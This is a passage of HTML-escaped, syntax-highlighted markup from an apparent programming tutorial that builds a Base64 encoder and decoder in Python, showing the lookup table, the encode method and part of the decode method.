class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;000100&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;E&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;010100&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;U&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;100100&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;k&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;110100&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;0&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;000101&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;F&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;010101&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;V&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;100101&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;l&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;110101&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;000110&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;G&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;010110&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;W&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;100110&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;m&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;110110&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;2&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;000111&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;H&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;010111&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;X&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;100111&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;n&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;110111&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;3&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;001000&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;I&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;011000&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;Y&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;101000&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;o&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;111000&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;4&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;001001&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;J&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;011001&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;Z&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;101001&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;p&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;111001&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;5&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;001010&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;K&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;011010&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;a&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;101010&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;q&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;111010&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;6&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;001011&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;L&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;011011&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;b&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;101011&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;r&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;111011&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;7&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;001100&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;M&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;011100&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;c&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;101100&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;s&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;111100&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;8&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;001101&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;N&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;011101&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;d&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;101101&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;t&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;111101&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;9&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;001110&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;O&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;011110&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;e&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;101110&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;u&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;111110&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;+&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&apos;001111&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;P&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;011111&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;f&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;101111&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;v&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&apos;111111&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;/&apos;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Next, we will write the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encode&lt;/code&gt; method. This will take one argument called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;input&lt;/code&gt;, which is our data to encode. I won’t go into a lot of detail here as the code, coupled with the comments, should be fairly self-explanatory.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# convert ASCII characters to binary representation
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;octets&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;08b&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# combine octets into single binary string
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;octets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# determine number of sextets needed 
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;n_sextets&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ceil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# determine # of zeroes for padding
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;remainder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n_sextets&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# append zeroes to binary string
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;0&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remainder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# split binary string into 6-bit sextets
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;sextets&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# convert 6-bit sextets to Base64 encoding, add &apos;=&apos; padding
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64_encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sextets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;=&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;remainder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Then we will write our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decode&lt;/code&gt; method. It also takes one argument &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;input&lt;/code&gt;, which is a Base64 encoded string. In order to maintain our focus, we are not doing any input validation here and assume the user will input a valid Base64 encoded string. However, it would be best practice to perform such validation. I leave this as an exercise for the reader.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# determine padding
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;padding&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;=&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# remove padding
&lt;/span&gt;        &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;=&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        
        &lt;span class=&quot;c1&quot;&gt;# convert characters to binary sextets using Base64 table
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;input&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64_encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# join sextets into single binary string
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# remove number of trailing zeroes as determined by padding
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;padding&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# split binary string into 8-bit binary octets
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;octets&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# convert octets back to ASCII characters
